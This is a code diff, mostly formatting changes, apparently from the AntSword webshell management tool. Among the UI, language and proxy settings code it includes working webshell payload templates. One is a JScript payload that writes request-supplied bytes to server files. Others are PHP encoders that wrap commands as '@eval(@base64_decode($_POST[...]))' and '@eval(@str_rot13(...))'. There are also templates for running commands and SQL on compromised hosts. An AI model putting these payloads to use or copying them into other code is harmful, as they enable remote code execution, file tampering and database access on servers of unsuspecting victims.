`var P:String=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));var Z:String=Request.Item["${arg2}"];var B:byte[]=new byte[Z.Length/2];for(var i=0;i<Z.Length;i+=2){B[i/2]=byte(Convert.ToInt32(Z.Substring(i,2),16));}var fs:System.IO.FileStream=new System.IO.FileStream(P,System.IO.FileMode.Append);fs.Write(B,0,B.Length);fs.Close();Response.Write("1");`, `var P:String=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));var Z:String=Request.Item["${arg2}"];var B:byte[]=new byte[Z.Length/2];for(var i=0;i<Z.Length;i+=2){B[i/2]=byte(Convert.ToInt32(Z.Substring(i,2),16));}var fs:System.IO.FileStream=new System.IO.FileStream(P,System.IO.FileMode.Append);fs.Write(B,0,B.Length);fs.Close();Response.Write("1");`,
[arg1]: "#{base64::path}", [arg1]: "#{base64::path}",
[arg2]: "#{buffer::content}" [arg2]: "#{buffer::content}"
}, },
...@@ -72,4 +72,4 @@ module.exports = (arg1, arg2, arg3) => ({ ...@@ -72,4 +72,4 @@ module.exports = (arg1, arg2, arg3) => ({
[arg1]: "#{base64::url}", [arg1]: "#{base64::url}",
[arg2]: "#{base64::path}" [arg2]: "#{base64::path}"
} }
}) })
\ No newline at end of file
This diff is collapsed.
...@@ -63,4 +63,4 @@ class CUSTOM extends Base { ...@@ -63,4 +63,4 @@ class CUSTOM extends Base {
} }
} }
module.exports = CUSTOM; module.exports = CUSTOM;
\ No newline at end of file
...@@ -6,4 +6,4 @@ ...@@ -6,4 +6,4 @@
module.exports = () => ({ module.exports = () => ({
info: 'A', info: 'A',
probedb: 'Z', // 检测数据库函数支持 probedb: 'Z', // 检测数据库函数支持
}) })
\ No newline at end of file
...@@ -12,4 +12,4 @@ module.exports = () => ({ ...@@ -12,4 +12,4 @@ module.exports = () => ({
_: 'Y', _: 'Y',
'z1': '#{binarr}' 'z1': '#{binarr}'
} }
}) })
\ No newline at end of file
...@@ -33,4 +33,4 @@ module.exports = () => ({ ...@@ -33,4 +33,4 @@ module.exports = () => ({
'z1': '#{conn}', 'z1': '#{conn}',
'z2': '#{sql}' 'z2': '#{sql}'
} }
}) })
\ No newline at end of file
...@@ -63,4 +63,4 @@ module.exports = () => ({ ...@@ -63,4 +63,4 @@ module.exports = () => ({
'z1': '#{url}', 'z1': '#{url}',
'z2': '#{path}' 'z2': '#{path}'
} }
}) })
\ No newline at end of file
...@@ -22,4 +22,4 @@ class Core { ...@@ -22,4 +22,4 @@ class Core {
} }
} }
module.exports = new Core(); module.exports = new Core();
\ No newline at end of file
...@@ -9,11 +9,11 @@ const rot13encode = (s) => { ...@@ -9,11 +9,11 @@ const rot13encode = (s) => {
return s.replace(/[a-zA-Z]/g, function (c) { return s.replace(/[a-zA-Z]/g, function (c) {
// Get the character code of the current character and add 13 to it If it is // Get the character code of the current character and add 13 to it If it is
// larger than z's character code then subtract 26 to support wrap around. // larger than z's character code then subtract 26 to support wrap around.
return String.fromCharCode((c <= "Z" return String.fromCharCode((c <= "Z" ?
? 90 90 :
: 122) >= (c = c.charCodeAt(0) + 13) 122) >= (c = c.charCodeAt(0) + 13) ?
? c c :
: c - 26); c - 26);
}); });
}; };
......
...@@ -17,4 +17,4 @@ module.exports = (pwd, data, ext = null) => { ...@@ -17,4 +17,4 @@ module.exports = (pwd, data, ext = null) => {
data[pwd] = `@eval(@base64_decode($_POST[${randomID}]));`; data[pwd] = `@eval(@base64_decode($_POST[${randomID}]));`;
delete data['_']; delete data['_'];
return data; return data;
} }
\ No newline at end of file
...@@ -23,4 +23,4 @@ module.exports = (pwd, data, ext = null) => { ...@@ -23,4 +23,4 @@ module.exports = (pwd, data, ext = null) => {
// 返回数据 // 返回数据
return data; return data;
} }
\ No newline at end of file
...@@ -23,4 +23,4 @@ module.exports = (pwd, data, ext = null) => { ...@@ -23,4 +23,4 @@ module.exports = (pwd, data, ext = null) => {
// 返回数据 // 返回数据
return data; return data;
} }
\ No newline at end of file
...@@ -11,11 +11,11 @@ module.exports = (pwd, data, ext = null) => { ...@@ -11,11 +11,11 @@ module.exports = (pwd, data, ext = null) => {
return s.replace(/[a-zA-Z]/g, function (c) { return s.replace(/[a-zA-Z]/g, function (c) {
// Get the character code of the current character and add 13 to it If it is // Get the character code of the current character and add 13 to it If it is
// larger than z's character code then subtract 26 to support wrap around. // larger than z's character code then subtract 26 to support wrap around.
return String.fromCharCode((c <= "Z" return String.fromCharCode((c <= "Z" ?
? 90 90 :
: 122) >= (c = c.charCodeAt(0) + 13) 122) >= (c = c.charCodeAt(0) + 13) ?
? c c :
: c - 26); c - 26);
}); });
} }
...@@ -28,4 +28,4 @@ module.exports = (pwd, data, ext = null) => { ...@@ -28,4 +28,4 @@ module.exports = (pwd, data, ext = null) => {
data[pwd] = `@eval(@str_rot13($_POST[${randomID}]));`; data[pwd] = `@eval(@str_rot13($_POST[${randomID}]));`;
delete data['_']; delete data['_'];
return data; return data;
} }
\ No newline at end of file
...@@ -88,4 +88,4 @@ class PHP extends Base { ...@@ -88,4 +88,4 @@ class PHP extends Base {
} }
} }
module.exports = PHP; module.exports = PHP;
\ No newline at end of file
...@@ -58,4 +58,4 @@ module.exports = (arg1, arg2) => ({ ...@@ -58,4 +58,4 @@ module.exports = (arg1, arg2) => ({
[arg1]: "#{base64::bin}", [arg1]: "#{base64::bin}",
[arg2]: "#{base64::cmd}" [arg2]: "#{base64::cmd}"
} }
}) })
\ No newline at end of file
...@@ -36,4 +36,4 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -36,4 +36,4 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
[arg4]: '#{db}', [arg4]: '#{db}',
[arg5]: '#{base64::sql}' [arg5]: '#{base64::sql}'
} }
}) })
\ No newline at end of file
...@@ -99,4 +99,4 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -99,4 +99,4 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
[arg4]: '#{db}', [arg4]: '#{db}',
[arg5]: '#{base64::sql}' [arg5]: '#{base64::sql}'
} }
}) })
\ No newline at end of file
...@@ -38,4 +38,4 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -38,4 +38,4 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
[arg5]: '#{base64::sql}', [arg5]: '#{base64::sql}',
[arg6]: '#{encode}' [arg6]: '#{encode}'
} }
}) })
\ No newline at end of file
...@@ -103,4 +103,4 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -103,4 +103,4 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
[arg5]: '#{base64::sql}', [arg5]: '#{base64::sql}',
[arg6]: '#{encode}' [arg6]: '#{encode}'
} }
}) })
\ No newline at end of file
...@@ -36,4 +36,4 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -36,4 +36,4 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
[arg4]: '#{db}', [arg4]: '#{db}',
[arg5]: '#{base64::sql}' [arg5]: '#{base64::sql}'
} }
}) })
\ No newline at end of file
...@@ -174,4 +174,4 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -174,4 +174,4 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
[arg5]: '#{base64::sql}', [arg5]: '#{base64::sql}',
[arg6]: '#{encode}' [arg6]: '#{encode}'
} }
}) })
\ No newline at end of file
...@@ -187,4 +187,4 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -187,4 +187,4 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
[arg5]: '#{base64::sql}', [arg5]: '#{base64::sql}',
[arg6]: '#{encode}' [arg6]: '#{encode}'
} }
}) })
\ No newline at end of file
...@@ -186,4 +186,4 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -186,4 +186,4 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
[arg5]: '#{base64::sql}', [arg5]: '#{base64::sql}',
[arg6]: '#{encode}' [arg6]: '#{encode}'
} }
}) })
\ No newline at end of file
...@@ -116,4 +116,4 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -116,4 +116,4 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
[arg5]: '#{base64::sql}', [arg5]: '#{base64::sql}',
[arg6]: '#{encode}' [arg6]: '#{encode}'
} }
}) })
\ No newline at end of file
...@@ -69,4 +69,4 @@ module.exports = (arg1, arg2, arg3) => ({ ...@@ -69,4 +69,4 @@ module.exports = (arg1, arg2, arg3) => ({
[arg1]: "#{base64::url}", [arg1]: "#{base64::url}",
[arg2]: "#{base64::path}" [arg2]: "#{base64::path}"
} }
}) })
\ No newline at end of file
...@@ -40,4 +40,4 @@ class PHP4 extends PHP { ...@@ -40,4 +40,4 @@ class PHP4 extends PHP {
} }
} }
module.exports = PHP4; module.exports = PHP4;
\ No newline at end of file
...@@ -182,9 +182,9 @@ module.exports = { ...@@ -182,9 +182,9 @@ module.exports = {
min: 'Min Block', min: 'Min Block',
max: 'Max Block', max: 'Max Block',
exphint: 'This feature is currently experimental and cannot be used with Multipart. Some t' + exphint: 'This feature is currently experimental and cannot be used with Multipart. Some t' +
'ypes of servers may not support Chunked transfers. In addition, it is recommende' + 'ypes of servers may not support Chunked transfers. In addition, it is recommende' +
'd to set the timeout period to 30s or more to avoid data transmission when the n' + 'd to set the timeout period to 30s or more to avoid data transmission when the n' +
'etwork speed is not good.' 'etwork speed is not good.'
}, },
terminalCache: "Use the terminal's cache", terminalCache: "Use the terminal's cache",
filemanagerCache: "Use the filemanager's cache", filemanagerCache: "Use the filemanager's cache",
...@@ -959,4 +959,4 @@ Hot Keys: ...@@ -959,4 +959,4 @@ Hot Keys:
saveSuccess: 'Save cookie configuration is successful!', saveSuccess: 'Save cookie configuration is successful!',
saveFailed: (err) => `Save cookie configuration failed!\n${err}` saveFailed: (err) => `Save cookie configuration failed!\n${err}`
} }
} }
\ No newline at end of file
...@@ -14,12 +14,12 @@ const languages = { ...@@ -14,12 +14,12 @@ const languages = {
let lang = antSword['storage']('language', false, navigator.language.substr(0, 2)); let lang = antSword['storage']('language', false, navigator.language.substr(0, 2));
// 判断本地设置语言是否符合语言模板 // 判断本地设置语言是否符合语言模板
lang = languages[lang] lang = languages[lang] ?
? lang lang :
: 'en'; 'en';
// 返回语言模板 // 返回语言模板
let langModule = require(`./${lang}`); let langModule = require(`./${lang}`);
langModule.__languages__ = languages; langModule.__languages__ = languages;
module.exports = langModule; module.exports = langModule;
\ No newline at end of file
...@@ -184,7 +184,7 @@ module.exports = { ...@@ -184,7 +184,7 @@ module.exports = {
min: '最小分块', min: '最小分块',
max: '最大分块', max: '最大分块',
exphint: '该功能目前为实验性功能, 无法与 Multipart 同时使用,部分类型的服务端可能不支持Chunked传输。此外,建议超时时长设置30s以上,避免网速不好的情' + exphint: '该功能目前为实验性功能, 无法与 Multipart 同时使用,部分类型的服务端可能不支持Chunked传输。此外,建议超时时长设置30s以上,避免网速不好的情' +
'况下影响数据传输。' '况下影响数据传输。'
}, },
terminalCache: '虚拟终端使用缓存', terminalCache: '虚拟终端使用缓存',
filemanagerCache: '文件管理使用缓存', filemanagerCache: '文件管理使用缓存',
...@@ -959,4 +959,4 @@ module.exports = { ...@@ -959,4 +959,4 @@ module.exports = {
saveSuccess: '保存Cookie成功!', saveSuccess: '保存Cookie成功!',
saveFailed: (err) => `保存Cookie失败!\n${err}` saveFailed: (err) => `保存Cookie失败!\n${err}`
} }
} }
\ No newline at end of file
...@@ -183,7 +183,7 @@ module.exports = { ...@@ -183,7 +183,7 @@ module.exports = {
min: '最小分塊', min: '最小分塊',
max: '最大分塊', max: '最大分塊',
exphint: '該功能目前為實驗性功能, 無法與 Multipart 同時使用,部分類型的服務端可能不支持Chunked傳輸。此外,建議超時時長設置30s以上,避免網速不好的情' + exphint: '該功能目前為實驗性功能, 無法與 Multipart 同時使用,部分類型的服務端可能不支持Chunked傳輸。此外,建議超時時長設置30s以上,避免網速不好的情' +
'況下影響數據傳輸。' '況下影響數據傳輸。'
}, },
terminalCache: '虛擬終端使用緩存', terminalCache: '虛擬終端使用緩存',
filemanagerCache: '文件管理使用緩存', filemanagerCache: '文件管理使用緩存',
...@@ -957,4 +957,4 @@ module.exports = { ...@@ -957,4 +957,4 @@ module.exports = {
saveSuccess: '保存Cookie成功!', saveSuccess: '保存Cookie成功!',
saveFailed: (err) => `保存Cookie失敗!\n${err}` saveFailed: (err) => `保存Cookie失敗!\n${err}`
} }
} }
\ No newline at end of file
...@@ -183,7 +183,7 @@ module.exports = { ...@@ -183,7 +183,7 @@ module.exports = {
min: '最小分塊', min: '最小分塊',
max: '最大分塊', max: '最大分塊',
exphint: '該功能目前為實驗性功能, 無法與 Multipart 同時使用,部分類型的服務端可能不支持Chunked傳輸。此外,建議超時時長設置30s以上,避免網速不好的情' + exphint: '該功能目前為實驗性功能, 無法與 Multipart 同時使用,部分類型的服務端可能不支持Chunked傳輸。此外,建議超時時長設置30s以上,避免網速不好的情' +
'況下影響數據傳輸。' '況下影響數據傳輸。'
}, },
terminalCache: '虛擬終端使用緩存', terminalCache: '虛擬終端使用緩存',
filemanagerCache: '文件管理使用緩存', filemanagerCache: '文件管理使用緩存',
...@@ -958,4 +958,4 @@ module.exports = { ...@@ -958,4 +958,4 @@ module.exports = {
saveSuccess: '保存Cookie成功!', saveSuccess: '保存Cookie成功!',
saveFailed: (err) => `保存Cookie失敗!\n${err}` saveFailed: (err) => `保存Cookie失敗!\n${err}`
} }
} }
\ No newline at end of file
...@@ -10,7 +10,10 @@ ...@@ -10,7 +10,10 @@
// 添加源码目录到全局模块加载变量,以提供后边加载 // 添加源码目录到全局模块加载变量,以提供后边加载
const path = require('path'); const path = require('path');
const Module = require('module').Module; const Module = require('module').Module;
const {remote} = require('electron'); const {
remote
} = require('electron');
Module Module
.globalPaths .globalPaths
.push(path.join(remote.process.env.AS_WORKDIR, 'source')); .push(path.join(remote.process.env.AS_WORKDIR, 'source'));
...@@ -39,9 +42,9 @@ window.addEventListener('load', () => { ...@@ -39,9 +42,9 @@ window.addEventListener('load', () => {
}; };
for (let k in o) { for (let k in o) {
if (new RegExp("(" + k + ")").test(format)) { if (new RegExp("(" + k + ")").test(format)) {
format = format.replace(RegExp.$1, RegExp.$1.length == 1 format = format.replace(RegExp.$1, RegExp.$1.length == 1 ?
? o[k] o[k] :
: ("00" + o[k]).substr(("" + o[k]).length)); ("00" + o[k]).substr(("" + o[k]).length));
} }
} }
return format; return format;
...@@ -107,21 +110,42 @@ window.addEventListener('load', () => { ...@@ -107,21 +110,42 @@ window.addEventListener('load', () => {
} }
loadingUI(); loadingUI();
// 开始加载css // 开始加载css
loadCSS('ant-static://libs/bmenu/bmenu.css').then(() => loadCSS('ant-static://libs/toastr/toastr.min.css')).then(() => loadCSS('ant-static://libs/layer/src/skin/layer.css')).then(() => loadCSS('ant-static://libs/layer/src/skin/layer.ext.css')).then(() => loadCSS('ant-static://libs/laydate/need/laydate.css')).then(() => loadCSS('ant-static://libs/laydate/skins/default/laydate.css')).then(() => loadCSS('ant-static://libs/terminal/css/jquery.terminal-1.1.1.css')).then(() => loadCSS('ant-static://libs/font-awesome/css/font-awesome.min.css')).then(() => loadCSS('ant-static://libs/dhtmlx/codebase/dhtmlx.css')).then(() => loadCSS('ant-static://libs/dhtmlx/skins/mytheme/dhtmlx.css')).then(() => loadCSS('ant-static://css/index.css')); loadCSS('ant-static://libs/bmenu/bmenu.css')
.then(() => loadCSS('ant-static://libs/toastr/toastr.min.css'))
.then(() => loadCSS('ant-static://libs/layer/src/skin/layer.css'))
.then(() => loadCSS('ant-static://libs/layer/src/skin/layer.ext.css'))
.then(() => loadCSS('ant-static://libs/laydate/need/laydate.css'))
.then(() => loadCSS('ant-static://libs/laydate/skins/default/laydate.css'))
.then(() => loadCSS('ant-static://libs/terminal/css/jquery.terminal-1.1.1.css'))
.then(() => loadCSS('ant-static://libs/font-awesome/css/font-awesome.min.css'))
.then(() => loadCSS('ant-static://libs/dhtmlx/codebase/dhtmlx.css'))
.then(() => loadCSS('ant-static://libs/dhtmlx/skins/mytheme/dhtmlx.css'))
.then(() => loadCSS('ant-static://css/index.css'));
// 加载js资源 // 加载js资源
loadJS('ant-static://libs/jquery/jquery.js').then(() => loadJS('ant-static://libs/ace/ace.js')).then(() => loadJS('ant-static://libs/ace/ext-language_tools.js')).then(() => loadJS('ant-static://libs/bmenu/bmenu.js')).then(() => loadJS('ant-static://libs/toastr/toastr.js')).then(() => loadJS('ant-static://libs/layer/src/layer.js')).then(() => loadJS('ant-static://libs/laydate/laydate.js')).then(() => loadJS('ant-static://libs/terminal/js/jquery.terminal-min-1.1.1.js')).then(() => loadJS('ant-static://libs/dhtmlx/codebase/dhtmlx.js')).then(() => { loadJS('ant-static://libs/jquery/jquery.js')
/** .then(() => loadJS('ant-static://libs/ace/ace.js'))
.then(() => loadJS('ant-static://libs/ace/ext-language_tools.js'))
.then(() => loadJS('ant-static://libs/bmenu/bmenu.js'))
.then(() => loadJS('ant-static://libs/toastr/toastr.js'))
.then(() => loadJS('ant-static://libs/layer/src/layer.js'))
.then(() => loadJS('ant-static://libs/laydate/laydate.js'))
.then(() => loadJS('ant-static://libs/terminal/js/jquery.terminal-min-1.1.1.js'))
.then(() => loadJS('ant-static://libs/dhtmlx/codebase/dhtmlx.js'))
.then(() => {
/**
* 配置layer弹出层 * 配置layer弹出层
* @param {[type]} {extend: 'extend/layer.ext.js'} [description] * @param {[type]} {extend: 'extend/layer.ext.js'} [description]
* @return {[type]} [description] * @return {[type]} [description]
*/ */
layer.config({extend: 'extend/layer.ext.js'}); layer.config({
// 加载程序入口 extend: 'extend/layer.ext.js'
require('app.entry'); });
// LOGO // 加载程序入口
console.group('LOGO'); require('app.entry');
console.log(`%c // LOGO
console.group('LOGO');
console.log(`%c
_____ _ _____ _ _____ _ _____ _
| _ |___| |_| __|_ _ _ ___ ___ _| | | _ |___| |_| __|_ _ _ ___ ___ _| |
| | | _|__ | | | | . | _| . | | | | _|__ | | | | . | _| . |
...@@ -132,7 +156,7 @@ window.addEventListener('load', () => { ...@@ -132,7 +156,7 @@ window.addEventListener('load', () => {
-*| End: %c${ + new Date - APP_START_TIME}%c/ms -*| End: %c${ + new Date - APP_START_TIME}%c/ms
`, 'color: #F44336;', 'color: #9E9E9E;', 'color: #4CAF50;', 'color: #9E9E9E;', 'color: #2196F3;', 'color: #9E9E9E;', 'color: #FF9800;', 'color: #9E9E9E;'); `, 'color: #F44336;', 'color: #9E9E9E;', 'color: #4CAF50;', 'color: #9E9E9E;', 'color: #2196F3;', 'color: #9E9E9E;', 'color: #FF9800;', 'color: #9E9E9E;');
APP_START_TIME = null; APP_START_TIME = null;
console.groupEnd(); console.groupEnd();
}); });
}); });
\ No newline at end of file
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
...@@ -96,9 +96,9 @@ class Folder { ...@@ -96,9 +96,9 @@ class Folder {
let _path = path + _; let _path = path + _;
let _obj = { let _obj = {
id: (_path), id: (_path),
text: antSword.noxss((_.length === 1 || (_.endsWith(':/') && _.length === 3)) text: antSword.noxss((_.length === 1 || (_.endsWith(':/') && _.length === 3)) ?
? _ _ :
: _.replace(/\/$/, '')) _.replace(/\/$/, ''))
}; };
let _result = parseItem(obj[_], _path); let _result = parseItem(obj[_], _path);
if (_result) { if (_result) {
...@@ -140,4 +140,4 @@ class Folder { ...@@ -140,4 +140,4 @@ class Folder {
} }
// export default Folder; // export default Folder;
module.exports = Folder; module.exports = Folder;
\ No newline at end of file
...@@ -50,7 +50,7 @@ class Tasks { ...@@ -50,7 +50,7 @@ class Tasks {
.cell .cell
.expand(); .expand();
// 创建一个随机ID // 创建一个随机ID
const hash = String(+ new Date() + Math.random()).replace('.', '_'); const hash = String(+new Date() + Math.random()).replace('.', '_');
this this
.grid .grid
.addRow(hash, [ .addRow(hash, [
...@@ -87,4 +87,4 @@ class Tasks { ...@@ -87,4 +87,4 @@ class Tasks {
} }
// export default Tasks; // export default Tasks;
module.exports = Tasks; module.exports = Tasks;
\ No newline at end of file
...@@ -55,4 +55,4 @@ class Plugin { ...@@ -55,4 +55,4 @@ class Plugin {
} }
module.exports = Plugin; module.exports = Plugin;
\ No newline at end of file
...@@ -7,7 +7,11 @@ const LANG = antSword['language']['settings']['about']; ...@@ -7,7 +7,11 @@ const LANG = antSword['language']['settings']['about'];
class About { class About {
constructor(sidebar) { constructor(sidebar) {
sidebar.addItem({id: 'about', selected: true, text: `<i class="fa fa-heart-o"></i> ${LANG['title']}`}); sidebar.addItem({
id: 'about',
selected: true,
text: `<i class="fa fa-heart-o"></i> ${LANG['title']}`
});
const cell = sidebar.cells('about'); const cell = sidebar.cells('about');
cell.attachHTMLString(` cell.attachHTMLString(`
<div align="center" class="about"> <div align="center" class="about">
...@@ -35,4 +39,4 @@ class About { ...@@ -35,4 +39,4 @@ class About {
} }
module.exports = About; module.exports = About;
\ No newline at end of file
This diff is collapsed.
...@@ -8,7 +8,10 @@ const LANG_T = antSword['language']['toastr']; ...@@ -8,7 +8,10 @@ const LANG_T = antSword['language']['toastr'];
class AProxy { class AProxy {
constructor(sidebar) { constructor(sidebar) {
sidebar.addItem({id: 'aproxy', text: `<i class="fa fa-paper-plane"></i> ${LANG['title']}`}); sidebar.addItem({
id: 'aproxy',
text: `<i class="fa fa-paper-plane"></i> ${LANG['title']}`
});
const cell = sidebar.cells('aproxy'); const cell = sidebar.cells('aproxy');
// 代理数据 // 代理数据
const aproxymode = localStorage.getItem('aproxymode') || 'noproxy'; const aproxymode = localStorage.getItem('aproxymode') || 'noproxy';
...@@ -20,108 +23,98 @@ class AProxy { ...@@ -20,108 +23,98 @@ class AProxy {
// 工具栏 // 工具栏
const toolbar = cell.attachToolbar(); const toolbar = cell.attachToolbar();
toolbar.loadStruct([ toolbar.loadStruct([{
{ id: 'save',
id: 'save', type: 'button',
type: 'button', text: LANG['toolbar']['save'],
text: LANG['toolbar']['save'], icon: 'save'
icon: 'save' }, {
}, { type: 'separator'
type: 'separator' }, {
}, { id: 'test',
id: 'test', name: 'test',
name: 'test', type: 'button',
type: 'button', text: LANG['toolbar']['test'],
text: LANG['toolbar']['test'], icon: 'spinner',
icon: 'spinner', disabled: aproxymode === 'noproxy'
disabled: aproxymode === 'noproxy' }]);
}
]);
// 表单 // 表单
const form = cell.attachForm([ const form = cell.attachForm([{
{ type: 'settings',
type: 'settings', position: 'label-left',
position: 'label-left', labelWidth: 150,
labelWidth: 150, inputWidth: 200
inputWidth: 200 }, {
type: 'block',
inputWidth: 'auto',
offsetTop: 12,
list: [{
type: 'label',
label: LANG['form']['label']
}, {
type: 'radio',
position: 'label-right',
label: LANG['form']['mode']['noproxy'],
name: 'aproxymode',
value: 'noproxy',
checked: aproxymode === 'noproxy'
}, { }, {
type: 'block', type: 'radio',
inputWidth: 'auto', position: 'label-right',
offsetTop: 12, label: LANG['form']['mode']['manualproxy'],
list: [ name: 'aproxymode',
{ value: 'manualproxy',
type: 'label', checked: aproxymode === 'manualproxy',
label: LANG['form']['label'] list: [{
type: 'combo',
label: LANG['form']['proxy']['protocol'],
readonly: true,
name: 'protocol',
options: [{
text: 'HTTP',
value: 'http',
selected: aproxyprotocol === 'http'
}, { }, {
type: 'radio', text: 'HTTPS',
position: 'label-right', value: 'https',
label: LANG['form']['mode']['noproxy'], selected: aproxyprotocol === 'https'
name: 'aproxymode',
value: 'noproxy',
checked: aproxymode === 'noproxy'
}, { }, {
type: 'radio', text: 'SOCKS5',
position: 'label-right', value: 'socks',
label: LANG['form']['mode']['manualproxy'], selected: aproxyprotocol === 'socks'
name: 'aproxymode', }, {
value: 'manualproxy', text: 'SOCKS4',
checked: aproxymode === 'manualproxy', value: 'socks4',
list: [ selected: aproxyprotocol === 'socks4'
{ }]
type: 'combo', }, {
label: LANG['form']['proxy']['protocol'], type: 'input',
readonly: true, label: LANG['form']['proxy']['server'],
name: 'protocol', name: 'server',
options: [ required: true,
{ validate: "NotEmpty",
text: 'HTTP', value: aproxyserver
value: 'http', }, {
selected: aproxyprotocol === 'http' type: 'input',
}, { label: LANG['form']['proxy']['port'],
text: 'HTTPS', name: 'port',
value: 'https', required: true,
selected: aproxyprotocol === 'https' validate: "NotEmpty,ValidInteger",
}, { value: aproxyport
text: 'SOCKS5', }, {
value: 'socks', type: 'input',
selected: aproxyprotocol === 'socks' label: LANG['form']['proxy']['username'],
}, { name: 'username',
text: 'SOCKS4', value: aproxyusername
value: 'socks4', }, {
selected: aproxyprotocol === 'socks4' type: 'password',
} label: LANG['form']['proxy']['password'],
] name: 'password',
}, { value: aproxypassword
type: 'input', }]
label: LANG['form']['proxy']['server'], }]
name: 'server', }], true);
required: true,
validate: "NotEmpty",
value: aproxyserver
}, {
type: 'input',
label: LANG['form']['proxy']['port'],
name: 'port',
required: true,
validate: "NotEmpty,ValidInteger",
value: aproxyport
}, {
type: 'input',
label: LANG['form']['proxy']['username'],
name: 'username',
value: aproxyusername
}, {
type: 'password',
label: LANG['form']['proxy']['password'],
name: 'password',
value: aproxypassword
}
]
}
]
}
], true);
form.enableLiveValidation(true); form.enableLiveValidation(true);
form.attachEvent("onChange", function (name, value, is_checked) { form.attachEvent("onChange", function (name, value, is_checked) {
if (name == "aproxymode") { if (name == "aproxymode") {
...@@ -169,7 +162,9 @@ class AProxy { ...@@ -169,7 +162,9 @@ class AProxy {
formType: 0 formType: 0
}, function (testurl, index) { }, function (testurl, index) {
layer.close(index); layer.close(index);
var loadindex = layer.load(2, {time: 6 *1000}); var loadindex = layer.load(2, {
time: 6 * 1000
});
var _formvals = form.getValues(); var _formvals = form.getValues();
var _server = _formvals['server'] var _server = _formvals['server']
.replace(/.+:\/\//, '') .replace(/.+:\/\//, '')
...@@ -181,7 +176,7 @@ class AProxy { ...@@ -181,7 +176,7 @@ class AProxy {
_aproxyauth = _formvals['username'] + ":" + _formvals['password']; _aproxyauth = _formvals['username'] + ":" + _formvals['password'];
} }
var _aproxyuri = _formvals['protocol'] + '://' + _aproxyauth + '@' + _server + ':' + _formvals['port']; var _aproxyuri = _formvals['protocol'] + '://' + _aproxyauth + '@' + _server + ':' + _formvals['port'];
var hash = (String(+ new Date) + String(Math.random())) var hash = (String(+new Date) + String(Math.random()))
.substr(10, 10) .substr(10, 10)
.replace('.', '_'); .replace('.', '_');
...@@ -204,4 +199,4 @@ class AProxy { ...@@ -204,4 +199,4 @@ class AProxy {
} }
} }
module.exports = AProxy; module.exports = AProxy;
\ No newline at end of file
This diff is collapsed.
This diff is collapsed.
...@@ -40,7 +40,10 @@ class Settings { ...@@ -40,7 +40,10 @@ class Settings {
tabbar.addTab('tab_about', '<i class="fa fa-cog"></i>', null, null, true, true); tabbar.addTab('tab_about', '<i class="fa fa-cog"></i>', null, null, true, true);
const cell = tabbar.tabs('tab_about'); const cell = tabbar.tabs('tab_about');
const sidebar = cell.attachSidebar({template: 'text', width: 200}); const sidebar = cell.attachSidebar({
template: 'text',
width: 200
});
this.about = new About(sidebar); this.about = new About(sidebar);
this.language = new Language(sidebar); this.language = new Language(sidebar);
// this.update = new Update(sidebar); // this.update = new Update(sidebar);
...@@ -65,4 +68,4 @@ class Settings { ...@@ -65,4 +68,4 @@ class Settings {
} }
module.exports = Settings; module.exports = Settings;
\ No newline at end of file
This diff is collapsed.
...@@ -7,23 +7,24 @@ const LANG_T = antSword['language']['toastr']; ...@@ -7,23 +7,24 @@ const LANG_T = antSword['language']['toastr'];
class Update { class Update {
constructor(sidebar) { constructor(sidebar) {
sidebar.addItem({id: 'update', text: `<i class="fa fa-cloud-download"></i> ${LANG['title']}`}); sidebar.addItem({
id: 'update',
text: `<i class="fa fa-cloud-download"></i> ${LANG['title']}`
});
const cell = sidebar.cells('update'); const cell = sidebar.cells('update');
// 初始化toolbar // 初始化toolbar
const toolbar = cell.attachToolbar(); const toolbar = cell.attachToolbar();
toolbar.loadStruct([ toolbar.loadStruct([{
{ id: 'check',
id: 'check', type: 'button',
type: 'button', // 调试或者windows平台不支持更新
// 调试或者windows平台不支持更新 disabled: antSword['package']['debug'] || process.platform === 'win32',
disabled: antSword['package']['debug'] || process.platform === 'win32', text: LANG['toolbar']['check'],
text: LANG['toolbar']['check'], icon: 'check-square-o'
icon: 'check-square-o' }, {
}, { type: 'separator'
type: 'separator' }]);
}
]);
// toolbar点击事件 // toolbar点击事件
toolbar.attachEvent('onClick', (id) => { toolbar.attachEvent('onClick', (id) => {
...@@ -59,9 +60,9 @@ class Update { ...@@ -59,9 +60,9 @@ class Update {
let info = ret['retVal']; let info = ret['retVal'];
// 木有更新 // 木有更新
if (!ret['hasUpdate']) { if (!ret['hasUpdate']) {
return typeof info === 'string' return typeof info === 'string' ?
? toastr.error(LANG['check']['fail'](info), LANG_T['error']) toastr.error(LANG['check']['fail'](info), LANG_T['error']) :
: toastr.info(LANG['check']['none'](info['version']), LANG_T['info']); toastr.info(LANG['check']['none'](info['version']), LANG_T['info']);
} }
// 发现更新 // 发现更新
toastr.success(LANG['check']['found'](info['version']), LANG_T['success']); toastr.success(LANG['check']['found'](info['version']), LANG_T['success']);
...@@ -121,7 +122,8 @@ class Update { ...@@ -121,7 +122,8 @@ class Update {
} }
}); });
}).send('update-check', {local_ver: antSword['package']['version'] }).send('update-check', {
